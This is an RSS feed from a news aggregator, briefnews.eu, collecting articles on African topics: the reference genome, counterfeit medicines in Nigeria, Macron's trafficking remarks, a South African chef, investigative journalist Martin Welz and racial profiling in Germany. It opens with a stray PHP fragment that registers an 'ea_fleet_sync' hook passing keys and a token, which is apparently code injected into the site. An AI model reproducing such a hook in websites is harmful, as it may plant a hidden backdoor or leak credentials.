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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Africans – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Nov 2018 09:37:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Africans – Brief News https://briefnews.eu 32 32 DNA data from Africans reveals sequences that we’d missed https://briefnews.eu/dna-data-from-africans-reveals-sequences-that-wed-missed/ https://briefnews.eu/dna-data-from-africans-reveals-sequences-that-wed-missed/#respond Sun, 25 Nov 2018 09:37:17 +0000 http://briefnews.eu/dna-data-from-africans-reveals-sequences-that-wed-missed/
The first printout of the human genome to be presented as a series of books, displayed in the 'Medicine Now' room at the Wellcome Collection, London.

Enlarge / The first printout of the human genome to be presented as a series of books, displayed in the ‘Medicine Now’ room at the Wellcome Collection, London. (credit: Russ London at English Wikipedia)

The human genome sequence, first published in 2001, has some important information missing. The latest version of it, called GRCh38, has a monstrous 3.1 gigabases of information—but that’s still not enough. A letter published in Nature Genetics this week finds that the reference genome is missing a colossal 10 percent of the genetic information found in the genomes of hundreds of people with African ancestry—information that also appears in other human populations.

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The “human genome” is in fact assembled from the genomes of just a handful of people, with the majority of GRCh38 coming from just one person. It’s not a snapshot of what’s in human DNA so much as a kind of template and roadmap, giving a sense of what’s in there and allowing comparisons between individuals and the “reference genome.”

We’ve known this is a limitation and have been making constant additions to the reference genome, which has improved its ability to represent the huge range of variation that’s present in modern humans. But because its source is so limited, write the authors of this week’s letter, so is its usefulness: “In recent years, a growing number of researchers have emphasized the importance of capturing and representing sequencing data from diverse populations.”

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]]> https://briefnews.eu/dna-data-from-africans-reveals-sequences-that-wed-missed/feed/ 0 100K Africans Die From Fake Meds Each Year. Can She Save Them? https://briefnews.eu/100k-africans-die-from-fake-meds-each-year-can-she-save-them/ https://briefnews.eu/100k-africans-die-from-fake-meds-each-year-can-she-save-them/#respond Sun, 14 Oct 2018 10:54:35 +0000 http://briefnews.eu/100k-africans-die-from-fake-meds-each-year-can-she-save-them/

Vivian Nwakah was told she wouldn’t survive in Nigeria, and she started to believe it. While her glistening dark skin makes her look just like most others in the capital city of Lagos, her American accent means she’s not like everyone else; and all of her friends who arrived around the same time as she did have since moved back to the U.S.

Nwakah’s mission, and the reason she stays, became clear shortly after her arrival in Lagos. Before she had gotten her driver’s license, Nwakah relied on a friend to drive her around. One day, after being diagnosed with malaria, that friend died — not from the disease, but from the fake malaria medication he was taking. In 2017, Nwakah launched Medsaf to help tackle the counterfeit medicines that run rampant in Nigeria.

About 17 percent of Nigeria’s generic drug supply was fake in 2015, down from 40 percent in 2001, according to government data. Improved technology has helped. Yet roughly 116,000 deaths per year in sub-Sarahan Africa are linked to counterfeit or substandard anti-malaria drugs alone, according to the World Health Organization.

We aren’t out to make profits — that’s easy. We are interested in making quality drugs the only drugs in Lagos.

Temitope Awosika, co-founder, Medsaf

Medsaf started as a vitamin company, but it has become a curated platform that connects pharmacies and hospitals with safe, cost-effective medications. When I meet Nwakah, 35, in her office on Lagos’ booming Victoria Island, she and Medsaf co-founder Temitope Awosika are bent over a laptop discussing numbers and new distribution targets as they plot a regional expansion. Because Nigeria accounts for more than 60 percent of the drug supply in West Africa, the counterfeit drug problem extends far beyond its borders.

Nwakah grew up in the Chicago area. Her father left Nigeria in the early 1970s, after the civil war, with several friends, all determined to study in the United States and become lawyers, doctors and bankers — to live out the American Dream with their families. Nwakah’s father became a banker and provided a comfortable life for his daughter. Both her parents have a complicated relationship with their homeland. “While my family is proud of the work I’m doing, they sometimes still think I won’t last in Nigeria,” she says.

Nwakah followed the highly educated path established by her father and started traveling abroad while enrolled in an international MBA program at Georgia State University. She studied in Rio de Janeiro and Paris before moving to Lagos to intern at a cable television company, where she made little more than $ 50 a month. Since then, she has moved across industries, with her most recent stint as a vice president for a Lagos-based clean energy company looking to help resolve the issue of Nigeria’s erratic power supply for local corporations.

The death of Nwakah’s friend inspired her to team up with Awosika, a pharmacist by training whom she met via mutual friends, to start Vitamins.ng. But as they surveyed manufacturers, hospitals, pharmacies and drug consumers, their focus turned to medicines. Trying to create a different kind of culture proved difficult, as sales reps typically “go outside under the scorching sun to sell and meet a quota,” Nwakah says, instead of the relationship-focused approach that she and Awosika favor. Medsaf’s staff has grown to 10 people in Lagos, mostly scientists and pharmacists, and there is another smaller team in Portugal to manage the website.

While Nwakah doesn’t feel embraced in Nigeria, her stubbornness and refusal to be fake are what make her perfect to run a business in the country, according to her co-founder. “From the very beginning, Vivian had a clear idea of how we needed to run, and that vision has helped us make better decisions, including the hard decisions,” Awosika says. “We are currently on course to [meet] all of our targets. We aren’t out to make profits — that’s easy. We are interested in making quality drugs the only drugs in Lagos.”

Since its launch, Medsaf has partnered with more than 500 pharmacies and close to 100 hospitals to sell medication around the country, processing 150 million doses of drugs. Funded primarily out of pocket, the startup is generating between $ 15,000 and $ 20,000 per month. But the bureaucratic hurdles to clear in getting these drugs to consumers are daunting. “Most of the drugs needed in Nigeria are either not available or not composed properly, and getting them manufactured and then registered in Nigeria tends to be a serious problem,” Nwakah says.

While the Pharmaceutical Society of Nigeria gave a “good faith” registration and induction to the startup, the National Agency for Food and Drug Administration and Control (NAFDAC) — which is well-attuned to the fake drugs crisis — can be more demanding. Nwakah says Medsaf must cover travel expenses for NAFDAC officials to inspect the startup’s drug manufacturers, most of which are outside Nigeria.

Medsaf is a valuable validator for medicines, but the biggest problem for the startup is one it cannot solve: poverty. Nigeria recently overtook India as the world’s poverty capital — with 87 million people living in extreme poverty. Though it is falling, inflation remains above 11 percent, further sapping purchasing power. “Nobody sets out to buy fake drugs, but with so many unregulated versions in shops and kiosks without licenses that are cheaper, the average poor Nigerian will take it,” says Zubair Abdulahi, a doctor who has worked in the biggest teaching hospital in Lagos. “Nigeria in recent years has turned into a dumping ground for lesser-quality variants from other countries. And without a government clampdown, Medsaf’s efforts, while noble, will not quite do anything constructive.”

Nwakah is more focused on finding a new and better way to distribute safe, effective medicines in Nigeria, and hopes to raise $ 5 million in capital and expand to 4,000 medical facilities. She won’t solve her adopted country’s ills herself, but if one malaria sufferer can get lifesaving instead of life-ending medicine, it’s worth it.

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Macron’s whistlestop tour of African nations will see him meet leaders in former French colonies Burkina Faso and the Ivory Coast [Cote d’Ivoire], as well as Ghana. The visit has been pitched as a political bridge-building exercise.  

Touching on France’s colonial past, Macron told delegates at the University of Ouagadougou on Tuesday that “crimes of European colonization are indisputable.” On reports of slave auctions in Libya, Macron proposed a joint Euro-African initiative to eradicate people smuggling. However, a highly animated Macron left his audience of students in little doubt that the problem should be tackled by local authorities.

“In Libya, we’re engaged in diplomatic relations to find a political solution,” he said, raising his voice. Macron then implied that Africans should look closer to home for a solution, claiming that local people are the chief traffickers.

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“Who are the traffickers? Ask yourselves – being the African youth – that question. You are unbelievable. Who are the traffickers? They are Africans, my friends. They are Africans. Ask yourselves the question.

“It’s not the French who are the traffickers, it’s the Africans. So everyone should understand the responsibility, and we’ve started to do that, to dismantle them. But stop the argument saying, ‘It’s someone else.’

“Show me a French, Belgian, German person, who carried out trafficking between Nigeria and Libya. This person doesn’t exist,” Macron added. “So, these days in Africa, there are Africans who make other Africans slaves, this is the reality. And there are Europeans who benefit from this misery in Europe, it’s unacceptable. In both cases, these are crimes. We are fighting both cases.”

The tense exchange is unlikely to have endeared the French president to some of his critics, since he appeared to stray from his original line that he is “from a generation where we do not come to tell Africa what to do.”

Macon has claimed to be a president raised on the speeches of Nelson Mandela and, during his election campaign, described colonialism as a crime against humanity. This stance was somewhat undermined, however, when Macron responded to a question Tuesday about the number of African students in France versus the number of French soldiers stationed in Africa.

The president spoke of French soldiers dying while on duty in Africa, and telling the student, whose question he was responding to, that they owe French soldiers their applause.

The topic of migrant trafficking in North Africa is set to be a major point of discussion at an African-EU summit on Wednesday.

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]]> https://briefnews.eu/who-are-the-traffickers-they-are-africans-macron-loses-his-cool-at-student-qa-videos/feed/ 0 The Chef Reconnecting South Africans With Their Native Food https://briefnews.eu/the-chef-reconnecting-south-africans-with-their-native-food/ https://briefnews.eu/the-chef-reconnecting-south-africans-with-their-native-food/#respond Tue, 17 Oct 2017 06:50:50 +0000 http://briefnews.eu/the-chef-reconnecting-south-africans-with-their-native-food/ Don’t invite a star chef to meet up at the South African equivalent of Starbucks. She’ll promptly lead you somewhere quieter, and far cooler. At least that was my experience with Nompumelelo Mqwebu, whose list of accomplishments is such that it’s hard to know where to begin. A frequent guest on radio and TV programs; food columnist for the Mercury, the Mail and Guardian and the Sunday Times; and the director of Africa Meets Europe Cuisine, Mqwebu has just self-published Through the Eyes of an African Chef, about her efforts to revive traditional African cooking. It’s the culmination of everything she has been working toward for the past 10 years, and it boils down to this: She wants to decolonize South Africa’s food system and reacquaint local chefs, consumers and farmers with the country’s rich, but buried, food heritage.

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For Mqwebu, a 42-year-old mother of two,a healthy food system starts with local farmers growing endemic species of fruits and vegetables. Next, she says, farmers need help maximizing their earnings by transforming their produce into valuable meals they can sell for a higher price. To this end, last June Mqwebu teamed up with the City of Johannesburg Food Resilience Unit to teach 16 small-scale farmers in Soweto how to turn their harvests into nutritious soups and stews and to pickle herbs and vegetables. Now she and two partners are working to set up a kitchen accredited by five local agencies to train future chefs with an emphasis on African cuisine.

Part Swati, Xhosa and Zulu, Mqwebu is determined to help the next generation of African chefs embrace their culinary heritage. In a September article for Taste magazine, she wrote, “When I cooked amadumbe [taro roots] at the inaugural 2010 World Cup conference in Johannesburg, I was surprised that most Africans present had no idea what those nutritious tubers were, even though they have been cultivated by villagers in KwaZulu-Natal and the Eastern Cape for a very long time.” But rather than wade into the complex reasons most Africans have become disconnected from their native cuisine, Mqwebu prefers to focus on uniting cultures with dishes that will blow your mind. Taste printed her grandmother’s recipe for isijingi, a savory-sweet pudding made from fresh pumpkin, cornmeal, butter cream, cinnamon and a dash of honey. It’s the ultimate fall comfort food — only you won’t see it listed on any local restaurant menu.

Despite Mqwebu’s tireless efforts to mainstream indigenous South African cuisine, it’s almost impossible to find outside townships. For example, a popular chain of restaurants called Moyo — boasting “Africa’s finest urban cuisines” — serves Moroccan lamb shank and a harissa chicken breast sandwich, dishes originating on the other side of the continent, but nothing that’s truly South African, according to Mqwebu. And the current president of the South African Chefs Association is white and British (SACA did not respond to requests for comment).

Mqwebu’s explanation for the dearth of native cuisine? “The painful truth is that it’s due to colonization …”

Dr. Karin Blignaut, a consultant for the South African Association of Food Science and Technology, applauds Mqwebu’s efforts and welcomes more indigenous dishes in mainstream gastronomy, but says the demand simply isn’t there. “You cannot really upscale it to that level without changing it completely,” she says. Mqwebu’s explanation for the dearth of native cuisine? “The painful truth is that it’s due to colonization and later apartheid, where people were forcibly moved off their land.”

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In 1652 the Dutch set up a permanent outpost in South Africa (followed by British and German settlers), frequently sparring with Cape Town’s indigenous Khoikhoi population, who feared they would be deprived of their pastures and water sources. And they were. As a result, Mqwebu explains, “The normal process of families passing on the farming traditions and methods was lost. Families were broken and relatives spread out.”

Mqwebu, who was raised in Umlazi township on the east coast of KwaZulu-Natal, recalls regular visits to her grandmother’s tiny diner 70 miles away in Pietermaritzburg. In the early 1980s, her parents bought a convenience store on the south coast, so Gran MaGaqa moved in to raise Mqwebu and her three siblings. The first order of business was to set up a garden. “We were the workers,” Mqwebu says with a full-bellied laugh. Her father was hired as a cook on ships in his younger years, and she grew up delighting in the exotic stories and flavors attached to his time at sea.

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Mqwebu’s culinary path was more indirect. After high school, she worked in retail before studying marketing management at Centec College. Over the next decade, she held several corporate jobs, catering for large events in her spare time. Eventually she embraced her gastronomic roots and completed her City and Guilds of London cookery diploma in 2005 while studying at the Chef School of Food and Wine in Morningside, Durban. From there, juggling her young family and a catering business, she sweet-talked her way into a job cooking at the upscale Zimbali Lodge in Ballito. Since 2007, she has competed in and judged culinary competitions around the world, and in 2014 founded the annual Mzansi International Culinary Festival (Mzansi is the Xhosa word for South Africa), a gathering of chefs from all over the continent with a focus on authentic African ingredients and dishes.

Zola Shabangu, a member, along with Mqwebu, of Intsika Women in Business in KwaZulu-Natal, says the chef “is destined for big things yet uplifts others in the process.” And Mqwebu has a seemingly boundless reservoir of energy to make those big things happen. First up? Digging even deeper into the history of indigenous cuisine with her next book and building a curriculum for African food anthropologists and scientists. Mqwebu says molecular gastronomy and Michelin stars have driven her industry to astronomic heights to make food that’s “perfect” — she intends to bring it back down to Earth.

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]]> https://briefnews.eu/the-chef-reconnecting-south-africans-with-their-native-food/feed/ 0 The Journalist Who’s Every Dishonest South African’s Biggest Nightmare https://briefnews.eu/the-journalist-whos-every-dishonest-south-africans-biggest-nightmare/ https://briefnews.eu/the-journalist-whos-every-dishonest-south-africans-biggest-nightmare/#respond Tue, 22 Aug 2017 06:58:03 +0000 http://briefnews.eu/the-journalist-whos-every-dishonest-south-africans-biggest-nightmare/ In 1988 the Sunday paper Martin Welz was working for refused to run a story on an attorney who’d used his status as a donor to the apartheid-era governing party to cover up a scheme to profit from the sale of state housing for the mentally handicapped. Determined to expose the truth, Welz offered the story for free to an independent magazine, which published it that Friday. By Monday, both the attorney and his crooked banking accomplice had committed suicide — and hours later Welz was out of a job.

From the dust of that incident, Noseweek, a hard-hitting investigative magazine, was born. When I meet Welz, now 71, the 214th monthly issue (the title is a mashup of Private Eye, Newsweek and Welz’s oversize proboscis) has just gone to press. To appear in its pages — which feature biting (often humorous) articles on everything from multibillion-dollar mining scandals to petty but revealing neighborhood disputes — is every prominent South African’s nightmare.

My attitude is, stuff the law; I’m here to find a moral pathway through the mess.

Martin Welz

We leave his charming, mildly chaotic home office (the peeling paint and piles of books are redolent of a poet’s lair; the waterlogged red kayak an unexplained mystery) and walk to a nearby coffee shop. Over the next three hours, he fills me in on a 42-year career in which he’s uncovered some of South Africa’s biggest scandals. “I grew up in an era when judges frequently had to say, ‘I’m not here to dispense justice; I’m here to apply the law’,” says Welz. “My attitude is, stuff the law; I’m here to find a moral pathway through the mess.” (He also makes me laugh, often: “We only allow ourselves one ‘fuck’ per issue,” he says. “More than that would be cheap.”)

Born months after World War II ended, to an Austrian architect-artist father and Danish journalist mother, Welz says his upbringing on the platteland (South Africa’s take on the Midwest) was “intellectually rich but financially poor.” Most vivid childhood memories? The smell of rotting pears on the tree in their garden and unearthing his mother’s Remington typewriter in the attic.

Days after qualifying as a lawyer, Welz took a job as a junior reporter at the Pretoria News. The law might not have been his bag, but it set him up well at his new job. And, with a couple of semesters of accounting under his belt, he could read a balance sheet too. That came in handy when he infiltrated the so-called “sinners’ meetings” of an ultraconservative sect of the Dutch Reformed Church in 1976. Bored by the deep theological discussions, he turned to the church’s accounting ledgers and discovered that this whites-only bastion of apartheid was deriving substantial profits by publishing textbooks for Black schoolchildren.

“Martin’s very candid, and he places a high premium on truth,” says Jonathan Erasmus, deputy editor at Noseweek. “He goes for the holy cows.” And then some. In the early days, when he was still employed by mainstream papers, Welz went after the Reserve Bank (“God resided there,” Welz wrote later) and uncovered — but was unable to publish at the time — the existence of the apartheid death squads. He also got embroiled in a story on the Sicilian Mafia that ended with one of his contacts being gunned down outside a Milan courthouse.

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Since Noseweek launched in 1993, it’s beaten the competition to digging up the dirtiest dirt in South Africa, getting the scoop on corrupt mining magnate Brett Kebble (it emerged in court proceedings that Welz appeared on a Kebble hit list), billionaire and alleged child molester Sidney Frankel (under the breathtakingly blunt headline “Sidney Frankel Is a Paedophile”) and the Gupta family (said to wield “undue influence” over President Jacob Zuma) — to mention but a few.

Despite his many high-profile successes, there is a feeling among some South Africans that, where Welz is concerned, “the facts tend to fall a little short of the thesis,” as Kevin Bloom and Richard Poplak claimed in a scathing 2012 critique of a Noseweek article about the proliferation of Chinese shopkeepers in South Africa. It’s an accusation Welz wholeheartedly denies (“We have never made anything up”), though he freely admits to being extremely irreverent at times.

In addition to the naysayers and court cases (and there have been a few), Noseweek faces common challenges like increased competition, shrinking ad revenues and the shift to digital, but the company of eight staffers is better equipped to deal with them than the mainstream media. It has always relied heavily on reader funding (most advertisers steer clear) and was forced to go digital more than a decade ago — sooner than it would have liked — thanks to the failings of the South African Post Office. Noseweek, says Erasmus, has inadvertently become “a model for modern journalism.”

That’s not to say the magazine’s future is guaranteed, but Welz is content to be able to keep the flame of investigative journalism alive in South Africa. In recent years a number of other outlets — mostly online and donor-funded — have taken up the cause. Marianne Thamm, assistant editor at the Daily Maverick, notes that journalists the world over are finally coming to terms with what Welz has known all along: Governments that abuse their citizens depend on widespread collusion from the private sector.

In any other country, Welz would be a wealthy elder statesman by now, Thamm observes. “I don’t know how he keeps it up.” But he has no intention of slowing down, and the answer to what drives him lies, not surprisingly, in the facts. For instance, when Noseweek exposed Frankel in 2014 as a child abuser, it set in motion a legal debate that will soon lead to the elimination of the statute of limitations for pedophiles under South African law. “Moments like that keep you going,” Welz says.

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]]> https://briefnews.eu/the-journalist-whos-every-dishonest-south-africans-biggest-nightmare/feed/ 0 Racial profiling against Africans ‘endemic’ in Germany – UN experts https://briefnews.eu/racial-profiling-against-africans-endemic-in-germany-un-experts/ https://briefnews.eu/racial-profiling-against-africans-endemic-in-germany-un-experts/#respond Tue, 28 Feb 2017 18:12:02 +0000 http://briefnews.eu/racial-profiling-against-africans-endemic-in-germany-un-experts/ People of African descent face racial discrimination, constant racial profiling, and other kinds of intolerance in Germany, a UN working group said in a statement, adding that their struggle remains largely “invisible” to the wider community.

“Although the [German] constitution guarantees equality, bans racial discrimination and enshrines the inviolability of human dignity, these principles are not put into practice,” the statement released by the Office of the UN High Commissioner for Human Rights said, following the group’s seven-day visit to Germany.

The group visited Berlin, Dessau, Dresden, Frankfurt, Wiesbaden, Düsseldorf, Cologne, and Hamburg from 20 to 27 February in order to collect first-hand information on the difficulties racial minorities face in Germany.

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An alarming practice of racial profiling when police stop and search is widespread in Germany, the statement continues.

“The repeated denial that racial profiling does not exist in Germany by police authorities and the lack of an independent complaint mechanism at federal and state level fosters impunity.

“The Working Group found that racial profiling by police officials is endemic. Stop and search and controls by police are usually targeted at minority groups including people of African descent. Boys and young men experience day-to-day confrontation with law enforcement with high risk of imprisonment,” the statement said.

The group reported on violations taking place during investigations of “cases of racial discrimination and violence against people of African descent by the state, in particular by the police.”

According to the data, in 2005, an African asylum-seeker died in custody in the city of Dessau. This may have been caused by poor treatment and the use of physical force by the police, triggered by racial bias. Other examples include the death of an asylum-seeker in police custody in 2012, police shooting at an African woman at a job center in Frankfurt am Main in 2011, and the fatal stabbing of a North African woman in Dresden’s high court in front of her 3-year-old son and a judge.

People of African descent are also frequently targeted by far-right extremists, the statement added.

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Germany suffers from a “serious lack of race-based data and research that could inform policy to improve the situation of people of African descent,” the UN experts noted.

The Working Group has called on Germany to come up with a national action plan to bring the situation under control. The possible measures suggested by the UN are to “undertake impact-oriented activities,”“fund African organizations working for people of African descent,” “legally recognize people of African descent in Germany as a minority group,” “increase the representation of people of African descent in law enforcement,” and others.

The roots of racism in Europe, particularly in Germany, can be traced back even before World War II, and should be taken into account as well.

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“Germany’s colonial past, the genocide of the Ovaherero and Nama peoples, and the sterilization, incarceration, and murder of Black people during Nazi Germany, is not adequately addressed in the national narrative,” the experts said.

However, the German government has not yet addressed the issue nor discussed reparations with representatives of the minority groups.

The group, however, welcomed the readiness showed by the German government “to engage in dialogue, cooperation and action to combat racial discrimination” and expressed hope that their recommendations will be taken into account.

In Germany, the UN experts worked in cooperation with the German Federal and State authorities and local human rights groups.

The report, with the findings and final recommendations, will be presented to the UN Human Rights Council in September 2017.

In December 2016, the group issued a similar report on the problems of racial discrimination faced by people of African descent living in the US, where racial crimes were predominantly linked to the “legacy of colonial history, enslavement, racial subordination and segregation.”

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